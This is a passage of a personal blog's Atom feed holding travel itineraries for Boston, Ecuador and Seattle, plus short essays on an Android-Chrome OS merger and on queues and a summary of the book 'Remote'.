<p>Not that these combinations can&rsquo;t be made or have never been made but consumers would just not buy them. They are usually inferior or more convoluted, or even worse, both.</p>
<p>But the Android-Chrome OS merger stories keep popping up   
    
    
<a href="https://www.computerworld.com/article/3072645/android/android-chrome-os-merger.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">every</a>   
    
    
<a href="https://gizmodo.com/its-time-for-android-and-chrome-os-to-merge-1772931738?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">few</a>   
    
    
<a href="https://www.theverge.com/2015/10/29/9639950/google-combining-android-chromeos-report?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">months</a>. Excluding the technical jargon, it&rsquo;s as much of hogwash as the first three. In the longer run, markets specialize and not generalize.</p>
<p>Note: The only time when generalization appears to win is when an entirely new market is created which renders multiple existing markets customer-less. And that too is a head fake in favor of generalization.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Boston in 2 Days</title><link href="https://ashishb.net/travel/boston/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/point-roberts/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Point Roberts"/><link href="https://ashishb.net/travel/chicago/?utm_source=atom_feed" rel="related" type="text/html" title="Chicago in 2 Days"/><link href="https://ashishb.net/travel/seattle/?utm_source=atom_feed" rel="related" type="text/html" title="Seattle in 2 Days"/><link href="https://ashishb.net/travel/philadelphia/?utm_source=atom_feed" rel="related" type="text/html" title="Philadelphia in 3 days"/><id>https://ashishb.net/travel/boston/</id><author><name>Ashish Bhatia</name></author><published>2016-07-23T23:50:08+00:00</published><updated>2016-07-23T23:50:08+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to spending two days in Boston, USA. It includes a detailed itinerary of the places to visit, things to do, and where to eat.</blockquote><p>We traveled there in the month of October and the weather was really nice and cool at that time.</p>
<h3 id="day-1">Day 1</h3>
<p>At 10AM, we started with a 30-minute guided tour called   
    
    
<a href="https://www.nps.gov/bost/planyourvisit/guidedtours.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Decisive day</a>, it&rsquo;s a nice introduction to the struggle of American colonies against the British rulers. More so for the 
<a href="/travel/traveling-on-indian-passport/">foreigners like us</a>. From there we continued onto another hour long tour called   
    
    
<a href="https://www.nps.gov/bost/planyourvisit/guidedtours.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Freedom Trail: Meetings, Mobs &amp; Martyrs</a> which talks about how individuals took sides in the revolution. We were running out of time, so, we had to skip the other Freedom Trail tour, but I would highly recommend doing both. All these tours are limited in capacity, therefore, show up well in advance to collect the free entry tickets.</p>
<figure>
    
    <a href="IMG_20141005_122733-222x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20141005_122733-222x300.jpg"
         alt="Freedom Trail" width="222"/> </a>
</figure>

<figure>
    
    <a href="IMG_20141005_134311-222x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20141005_134311-222x300.jpg"
         alt="Freedom Trail" width="222"/> </a>
</figure>

<p>Post-lunch, our tour continued with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60745-d588567-Reviews-Boston_Symphony_Orchestra-Boston_Massachusetts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Boston Symphony Orchestra</a>. It was a two-hour-long show, we attended it primarily because it is highly rated on TripAdvisor, but I would refrain from attending a similar show again.</p>
<p>At 4PM, it was raining when we headed to take a tour of MIT. A friend of ours who is doing a Ph.D. there provided a guided tour. Without an insider, I don&rsquo;t think touring the campus would be as enjoyable.</p>
<figure>
    
    <a href="IMG_20141004_182910-222x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20141004_182910-222x300.jpg"
         alt="MIT" width="222"/> </a>
</figure>

<p>We had some time to kill before the Improv show at 10PM, and we spent that by walking around   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60745-d103113-Reviews-North_End-Boston_Massachusetts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">North End</a> and   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60745-d104794-Reviews-New_England_Holocaust_Memorial-Boston_Massachusetts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">New England Holocaust Memorial</a>. Nothing special but if you are around the area, you might as well walk in this historic district.</p>
<figure>
    
    <a href="IMG_20141004_114018-222x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20141004_114018-222x300.jpg"
         alt="A historic district features an improv performance at Improv Asylum" width="222"/> </a>
</figure>

<p>At 10PM, The last thing for the day was an Improv show at   
    
    
<a href="https://www.improvasylum.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Improv Asylum</a>. Overall, it was a good show and I would recommend attending it.</p>
<h3 id="day-2">Day 2</h3>
<p>At 10AM, we started our second day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60745-d104828-Reviews-USS_Constitution_Museum-Boston_Massachusetts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">USS Constitution</a>. Highly recommended for history enthusiasts. Including a guided tour, we spent the next three hours there.</p>
<figure>
    
    <a href="IMG_20141004_131936-300x222.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20141004_131936-300x222.jpg"
         alt="USS Constitution" width="300"/> </a>
</figure>

<p>Post-lunch, we headed to Harvard and took a tour of the campus with a friend from HBS. Nothing spectacular, except John&rsquo;s Harvard&rsquo;s statue on which students urinate on and the visitors, gladly touch ಠ_ಠ</p>
<figure>
    
    <a href="IMG_20141005_175217-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20141005_175217-225x300.jpg"
         alt="John Harvard&#39;s Statue" width="225"/> </a>
</figure>

<p>We were running short on time and had to skip the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60745-d106839-Reviews-Black_Heritage_Trail-Boston_Massachusetts.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Black Heritage Trail</a>. At 7PM, the last thing in our trip was a two-hour   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60745-d556951-Reviews-Shear_Madness-Boston_Massachusetts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Shear Madness</a> show. It was amazingly hilarious and I would strongly recommend it. It was the highlight of the trip.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/boston" term="boston" label="boston"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Ecuador in 4 days</title><link href="https://ashishb.net/travel/ecuador/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/puerto-rico/?utm_source=atom_feed" rel="related" type="text/html" title="Puerto Rico in 4 days"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><id>https://ashishb.net/travel/ecuador/</id><author><name>Ashish Bhatia</name></author><published>2016-07-16T18:00:31+00:00</published><updated>2016-07-16T18:00:31+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Quito&rsquo;s equator, breathtaking views, and Amazon adventures. Discover cultural treasures, thrilling activities, and travel tips for an unforgettable trip.</blockquote><h3 id="day-1">Day 1</h3>
<p>I landed in Quito and started the journey with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g7377590-d314596-Reviews-Mitad_del_Mundo-San_Antonio_de_Pichincha_Quito_Pichincha_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mitad Del Mundo</a> which apart from being a monument near the equator line has some nice short scientific demonstrations. Expect to spend about 2-3 hours there.</p>
<figure>
    
    <a href="IMG_0049-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0049-1024x768.jpg"
         alt="A yellow equator line painted on the ground, accompanied by scientific demonstration setups, indicating the Earth&#39;s equator location." width="900"/> </a>
</figure>

<p>Then I headed to   
    
    
<a href="https://www.quitoadventure.com/leisure-ecuador/tourist-attractions-quito/nature/teleferico-quito.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Telefrico</a> (&ldquo;aerial lift&rdquo;). The ride is nice and gives a beautiful view of Quito city. Highly recommended.</p>
<figure>
    
    <a href="IMG_0077-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0077-1024x768.jpg"
         alt="An aerial lift provides a scenic view of Quito city" width="900"/> </a>
</figure>

<p>Lastly, I headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g294308-d315636-Reviews-Quito_Old_Town-Quito_Pichincha_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Quito Old Town</a>. Overhyped. There is nothing special about it. In fact, I would recommend the readers to start early in the morning and go to   
    
    
<a href="https://mindocloudforest.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mindo Cloud Forest</a> first. I had an overnight bus journey from Quito to Lago Agrio afterward.</p>
<h3 id="day-2">Day 2</h3>
<p>I wanted to make a single-day visit to Amazon. Therefore, Yasuni, being too deep inside the forest, was out of the question. Cuyabeno was a good choice. Since it is deep enough and at the same time accessible enough for a one-day trip. I reached Lago Agrio early morning where the manager of   
    
    
<a href="https://www.tripadvisor.com/Hotel_Review-g303844-d1419156-Reviews-Cuyabeno_River_Lodge-Cuyabeno_Wildlife_Reserve_Sucumbios_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cuyabeno River Lodge</a> (not Cuyabeno Lodge) picked me up. This lodge is deep inside Amazon but not close to Laguna Grande. Therefore, the lodge management can adjust for your pickup-dropoff time, most other lodges which are close to Laguna Grande would charge a lot extra for that. I would highly recommend this if you want a custom itinerary.</p>
<figure>
    
    <a href="IMG_0115-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0115-1024x768.jpg"
         alt="Person sitting at a table outdoors, surrounded by a lush green landscape, engaged in writing or drawing in a notebook." width="900"/> </a>
</figure>

<p>I reached the lodge at about 6 AM and after having a nice vegetarian breakfast, I joined a few other travelers and went for a boat tour of the Laguna Grande (&ldquo;grand lagoon&rdquo;) starting at 8 AM.</p>
<figure>
    
    <a href="IMG_0091-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0091-1024x768.jpg"
         alt="A boat navigates the Laguna Grande with travelers onboard, surrounded by native wildlife such as snakes, turtles, and birds in their natural habitat." width="900"/> </a>
</figure>

<p>We saw a lot of native animals like Serpiente (&ldquo;snake&rdquo;), Tortuga (turtles), and pajaros(birds) during the journey. After Laguna Grande, we headed to a native Amazon community, where we learned the process of making Yuca bread by extracting Yuca roots, followed by peeling, grating, drying, and baking them.</p>
<figure>
    
    <a href="IMG_0107-300x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0107-300x300.jpg"
         alt="Amazon River" width="300"/> </a>
</figure>

<figure>
    
    <a href="IMG_0111-300x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0111-300x300.jpg"
         alt="Grains for Yuca bread" width="300"/> </a>
</figure>

<figure>
    
    <a href="IMG_0109-e1466933307783-300x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0109-e1466933307783-300x300.jpg"
         alt="A multicolored abstract digital artwork featuring various dynamic shapes, lines, and patterns, creating a visually complex and vibrant composition." width="300"/> </a>
</figure>

<figure>
    
    <a href="IMG_0113-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0113-300x225.jpg"
         alt="A black and white intricate line drawing depicts an abstract and densely detailed pattern with geometric shapes, swirls, and interconnected forms." width="395"/> </a>
</figure>

<figure>
    
    <a href="IMG_0114-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0114-300x225.jpg"
         alt="A baby caiman (alligator) is seen on a sandy path, captured during a return journey, illustrating wildlife in its natural habitat." width="386"/> </a>
</figure>

<p>While returning, we encountered a baby caiman (&ldquo;alligator&rdquo;).</p>
<figure>
    
    <a href="IMG_0118-e1466933729208-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0118-e1466933729208-300x225.jpg"
         alt="A baby caiman rests on a dirt path, surrounded by vegetation" width="300"/> </a>
</figure>

<p>At night, we headed out for a night hike. If you are planning to do this, then I would recommend carrying an insect repellent. Amazon rainforest is full of small crawling creatures.</p>
<h3 id="day-3">Day 3</h3>
<p>The third day started with a Pirana fishing session. The goal was to just catch, take pics and return them to the water. They are really fast at eating the food before the hook is pulled in. While I failed to fully get hold of any, another guy on the boat succeeded.</p>
<figure>
    
    <a href="IMG_0129-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0129-300x225.jpg"
         alt="A person on a boat is seen pulling in a fishing hook. The text narrates a fishing experience and mentions a bus journey from Lago Agrio to Baños De Agua Santa." width="300"/> </a>
</figure>

<p>From there, I headed for another long bus journey from Lago Agrio to Baños De Agua Santa with a transfer via Coca. I later came to know that there is a direct overnight bus from Lago Agrio to Baños. In the hindsight, I would say that leaving at night would have been a better option than wasting the third day traveling.</p>
<h3 id="day-4">Day 4</h3>
<p>The day started with a visit to Thermal hot springs Therma de La Virgen (&ldquo;The virgin hot springs&rdquo;). They are good but don&rsquo;t spend too much time here since there is a lot to do later.</p>
<figure>
    
    <a href="IMG_0141-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0141-768x1024.jpg"
         alt="The virgin hot springs" width="900"/> </a>
</figure>

<p>Then I headed for a Bungee jumping session. 20$ for the jump and 5$ for the photos. Wow. Compare this to the 150$ jump offered in the San Francisco Bay Area.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/gL0-m1Qlohg?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figure>
    
    <a href="IMG_0142-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0142-1024x768.jpg"
         alt="Bungee jumping" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0151-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0151-768x1024.jpg"
         alt="A scenic view of paragliding over a mountainous landscape, capturing the thrill of flying and vibrant surroundings." width="900"/> </a>
</figure>

<p>Post-lunch, I headed for a paragliding session. At 55$, it&rsquo;s a no-brainer.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/tScUqxJt70U?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>I had to skip   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g312857-d5221104-Reviews-Casa_Del_Arbol-Banos_Tungurahua_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Le Casa Del Arbol</a> due to the lack of time. Baños is amazing backpacker heaven. While I only spent a day there, I would strongly recommend, at least two days to fully enjoy it.</p>
<p>Here is the overall map.
<iframe loading="lazy"
        src="https://www.google.com/maps/d/embed?mid=19b36FvrYH_ka2thnSj1lyj0-hm0"
        width="900"
        height="480">
</iframe>
</p>
<p>Note:</p>
<ol>
<li>Public transport is pretty good for both short and long-distance travel. So one can skip taxis.</li>
<li>US Dollar is the accepted currency. Carry cash, credit/debit cards might not be accepted everywhere.</li>
<li>Cuenca is a nice French town but I could not check that out due to the shortage of time.</li>
<li>Always carry &ldquo;papel de higienico&rdquo; (toilet paper). A lot of places simply don&rsquo;t have it. And they don&rsquo;t have water either ¯  \_(ツ)_/¯</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/ecuador" term="ecuador" label="ecuador"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/><category scheme="https://ashishb.net/tag/south-america" term="south-america" label="south-america"/></entry><entry><title type="html">Front of the queue effect</title><link href="https://ashishb.net/misc/front-of-the-queue-effect/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/the-optimal-distance/?utm_source=atom_feed" rel="related" type="text/html" title="The optimal distance"/><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="related" type="text/html" title="5 things airlines get wrong about leisure travelers"/><link href="https://ashishb.net/misc/learning-casual-swimming/?utm_source=atom_feed" rel="related" type="text/html" title="Learning casual swimming"/><link href="https://ashishb.net/misc/speedup-vs-slow-down/?utm_source=atom_feed" rel="related" type="text/html" title="Speedup vs Slow-down"/><link href="https://ashishb.net/misc/cruelty-to-animals/?utm_source=atom_feed" rel="related" type="text/html" title="Cruelty to animals"/><id>https://ashishb.net/misc/front-of-the-queue-effect/</id><author><name>Ashish Bhatia</name></author><published>2016-07-16T01:53:24+00:00</published><updated>2016-07-16T01:53:24+00:00</updated><content type="html"><![CDATA[<blockquote>Caught in a slow-moving queue? You&rsquo;re not alone. Discover why confirming your choices can turn long waits into smart decisions. Stand wisely!</blockquote><p>You are standing in a queue waiting to buy food, order drinks, or buy tickets.
The queue is long and is moving slowly.
You are grumbling about the people standing in the front, why are they asking so many questions,
why can&rsquo;t they make choices beforehand. And then your turn comes. You are prepared.
You know what you want. But it took so long to reach here. why not confirm your choices?
After all, you stood for so long, at least you can spend a minute or two confirming that you are making the right choice.
If you made an incorrect or an incomplete order, who would stand again in this long queue to correct it?</p>
<p>Longer the queue becomes, slower it ends up moving.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Book summary: Remote - office not required</title><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: How to create a mind by Ray Kurzweil"/><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="related" type="text/html" title="Winners Take All - The 9 fundamental rules of high tech strategy"/><link href="https://ashishb.net/book-summary/the-start-up-of-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Start-Up of You"/><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: The Tangled web"/><id>https://ashishb.net/book-summary/remote-office-not-required/</id><author><name>Ashish Bhatia</name></author><published>2016-07-10T05:03:15+00:00</published><updated>2016-07-10T05:03:15+00:00</updated><content type="html"><![CDATA[<blockquote>Discover effective strategies for remote work success from 37Signals founders. Learn about communication, work-life balance, documentation, and more to enhance productivity.</blockquote><p>The authors are founders of   
    
    
<a href="https://37signals.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">37Signals</a>. The   
    
    
<a href="https://amzn.to/27PFFAi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about how to go about remote work, its advantages and pitfalls.</p>
<p>Here are some key takeaways from the book.</p>
<ol>
<li>Technology has enabled remote work and its growing.</li>
<li>Meetings are over-rated. And a lot of things done over in meetings can be done via chat groups, emails, or audio calls.</li>
<li>Remote workers should have at least a partial overlap with rest of the team for coordination. Regular work updates keep everyone in sync.</li>
<li>To avoid a single point of slow-down and failures, everything is shared and documented. No more tapping on a colleague&rsquo;s shoulder.</li>
<li>It is important for a remote worker to both the check-in as well as the check-out. Lack of office leads to fuzzy work-life boundaries. Having different equipment is helpful in such cases.</li>
<li>Since most conversations with remote workers will be written, writing becomes a really important skill.</li>
<li>To level the playing field between remote and local workers, most meetings should happen over email and chat rooms.</li>
<li>Reduce dependencies  - remote workers should be easily able to buy stuff than waiting for approval (up to a limit).</li>
<li>Having a routine is of paramount importance to a remote worker.</li>
<li>A remote worker should take the effort to regularly change the scenery.  A home office can lead to boredom in the longer run. If needed, s/he should rent a shared office space.</li>
<li>To avoid getting ignored, a remote worker should make noise and make progress on exceptional work.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Seattle in 2 Days</title><link href="https://ashishb.net/travel/seattle/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/point-roberts/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Point Roberts"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/chicago/?utm_source=atom_feed" rel="related" type="text/html" title="Chicago in 2 Days"/><link href="https://ashishb.net/travel/boston/?utm_source=atom_feed" rel="related" type="text/html" title="Boston in 2 Days"/><link href="https://ashishb.net/travel/philadelphia/?utm_source=atom_feed" rel="related" type="text/html" title="Philadelphia in 3 days"/><id>https://ashishb.net/travel/seattle/</id><author><name>Ashish Bhatia</name></author><published>2016-07-03T04:00:04+00:00</published><updated>2016-07-03T04:00:04+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Seattle&rsquo;s vibrant art, history, and quirky sites! From Chihuly&rsquo;s glass wonders to the iconic Fremont Troll, there&rsquo;s something for every traveler.</blockquote><h2 id="day-1">Day 1</h2>
<p>We started our journey with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d3184389-Reviews-Chihuly_Garden_and_Glass-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chihuly Garden and Glass</a>, it consists of amazing glass sculptures of various sizes. Worth every penny. Highly recommended for everyone.</p>
<figure>
    
    <a href="IMG_20140517_135754-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_135754-225x300.jpg"
         alt="Colorful glass sculptures of various sizes displayed on shelves are highly recommended." width="225"/> </a>
</figure>

<p>From there we continued to Bill and Melinda Gates Foundation   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d2484267-Reviews-Bill_Melinda_Gates_Foundation_Visitor_Center-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Visitor Center</a>,  half of it feels like a publicity stunt but the other half is insightful and worthy of a visit.</p>
<figure>
    
    <a href="IMG_20140517_124830-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_124830-225x300.jpg"
         alt="An intricate woven basket with colorful patterns. The craftsmanship highlights the detailed design and cultural artistry. The basket is displayed in a well-lit room, accentuating its textures and colors." width="225"/> </a>
</figure>

<p>We skipped the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d123109-Reviews-Space_Needle-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Space Needle</a> and did the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d3308043-Reviews-Seattle_Great_Wheel-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Space Wheel</a>, instead. Grab to-go boxes and eat them while having a nice view of the city&rsquo;s skyline.</p>
<figure>
    
    <a href="IMG_20140517_095537-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_095537-225x300.jpg"
         alt="A colorful wall covered in chewed gum, forming a mosaic of vivid splashes. The gum pieces overlap densely, creating a unique, textured backdrop. This site appears as a popular tourist attraction." width="225"/> </a>
</figure>

<figure>
    
    <a href="IMG_20140517_153034-300x222.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_153034-300x222.jpg"
         alt="A wall covered entirely with colorful chewing gum pieces showcasing a vibrant yet unconventional art display in an urban setting." width="300"/> </a>
</figure>

<p>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d2303028-Reviews-The_Gum_Wall-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Gum Wall</a> is weird but worth a quick visit.</p>
<figure>
    
    <a href="IMG_20140517_172944-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_172944-225x300.jpg"
         alt="A sticky and colorful wall covered in layers of chewed gum in various colors in an urban setting. People often visit this peculiar site as a local attraction." width="225"/> </a>
</figure>

<p>We headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d319153-Reviews-Hiram_M_Chittenden_Locks-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chittenden Locks</a>  next. While I have read about how locks are used for moving ships from one water body with lower water level to another with higher water level, this was the real life demo of the same. Recommended but don&rsquo;t spend too much time here.</p>
<figure>
    
    <a href="IMG_20140517_190434-1-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_190434-1-300x225.jpg"
         alt="A large concrete sculpture of a troll with a car in its hand is situated under a bridge. The environment appears urban and the artwork is a popular attraction." width="300"/> </a>
</figure>

<p>We headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d183753-Reviews-Fremont_Troll-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Fremont Troll</a> afterward. I think it&rsquo;s overhyped and if you don&rsquo;t have time, skip it.</p>
<figure>
    
    <a href="IMG_20140517_194323_1-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_194323_1-300x225.jpg"
         alt="An industrial structure stands at Gas Works Park in Seattle." width="300"/> </a>
</figure>

<p>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d141233-Reviews-Gas_Works_Park-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gas Works Park</a> is nearby and worth an evening walk.</p>
<figure>
    
    <a href="IMG_20140517_195721-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_195721-300x225.jpg"
         alt="A metal structure in a park setting, resembling industrial machinery under clear skies" width="300"/> </a>
</figure>

<p>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d1089321-Reviews-Bill_Speidel_s_Underground_Tour-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Underground tour</a> was the highlight of the day. We went for the late night 21+ only show. The guide was hilarious, and we got a chance to learn about Seattle&rsquo;s history in the context of cultural norms of the Victorian era, relations with native Americans and US-Canada border demarcation.</p>
<figure>
    
    <a href="IMG_20140517_213726-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140517_213726-300x225.jpg"
         alt="Portland underground tour" width="300"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>We started the day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d615595-Reviews-Bruce_Lee_Grave_Site-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bruce Lee&rsquo;s grave</a>. Overhyped, don&rsquo;t spend more than 15 minutes there.</p>
<figure>
    
